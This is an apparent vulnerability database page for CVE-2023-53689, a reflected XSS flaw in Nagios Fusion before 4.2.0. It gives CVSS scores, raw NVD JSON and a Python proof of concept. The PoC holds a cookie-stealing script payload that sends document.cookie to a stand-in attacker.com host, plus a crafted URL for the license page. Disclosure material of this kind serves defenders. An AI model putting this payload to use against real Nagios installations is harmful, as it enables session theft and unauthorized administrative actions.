Security Vulnerability Report
中文
CVE-2023-53689 CVSS 4.8 MEDIUM

CVE-2023-53689

Published: 2025-10-30 22:15:43
Last Modified: 2025-11-06 18:21:58

Description

Nagios Fusion versions prior to 4.2.0 contain a reflected cross-site scripting (XSS) vulnerability in the license key configuration flow that can result in execution of attacker-controlled script in the browser of a user who follows a crafted URL. While the application server itself is not directly corrupted by the reflected XSS, the resulting browser compromise can lead to credential/session theft and unauthorized administrative actions.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:fusion:*:*:*:*:*:*:*:* - VULNERABLE
Nagios Fusion < 4.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2023-53689 PoC - Reflected XSS in Nagios Fusion license key configuration # Target: Nagios Fusion < 4.2.0 TARGET_URL = "https://target-server/nagiosfusion/" # XSS payload - Cookie stealing example # The payload should be URL-encoded and placed in a parameter used in license key flow payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Construct malicious URL pointing to license key configuration endpoint # Adjust the endpoint path based on actual Nagios Fusion installation malicious_url = f"{TARGET_URL}admin/license.php?key=<script>alert(document.domain)</script>" print(f"[*] Target: {TARGET_URL}") print(f"[*] Malicious URL: {malicious_url}") print(f"[*] Payload: {payload}") print("\n[*] When victim visits this URL, the XSS payload will be executed in their browser context") print("[*] Attacker's server should be listening on https://attacker.com to receive stolen cookies") # Verify the vulnerability exists (basic check) def verify_reflected_xss(url): """Check if the XSS payload is reflected in the response without sanitization""" try: response = requests.get(url, timeout=10, verify=False) if payload in response.text or "<script>" in response.text: print(f"[+] VULNERABLE: XSS payload reflected in response") return True else: print(f"[-] NOT VULNERABLE or payload not found") return False except requests.RequestException as e: print(f"[-] Error connecting to target: {e}") return False # Example usage: # verify_reflected_xss(malicious_url) print("\n[!] Disclaimer: This PoC is for authorized security testing only")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53689", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:42.633", "lastModified": "2025-11-06T18:21:58.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios Fusion versions prior to 4.2.0 contain a reflected cross-site scripting (XSS) vulnerability in the license key configuration flow that can result in execution of attacker-controlled script in the browser of a user who follows a crafted URL. While the application server itself is not directly corrupted by the reflected XSS, the resulting browser compromise can lead to credential/session theft and unauthorized administrative actions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:fusion:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.0", "matchCriteriaId": "C952BF8F-1658-4707-AB70-427476FC5FB9"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-fusion/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.nagios.com/products/security/#fusion", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/nagios-fusion-license-information-reflected-xss", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}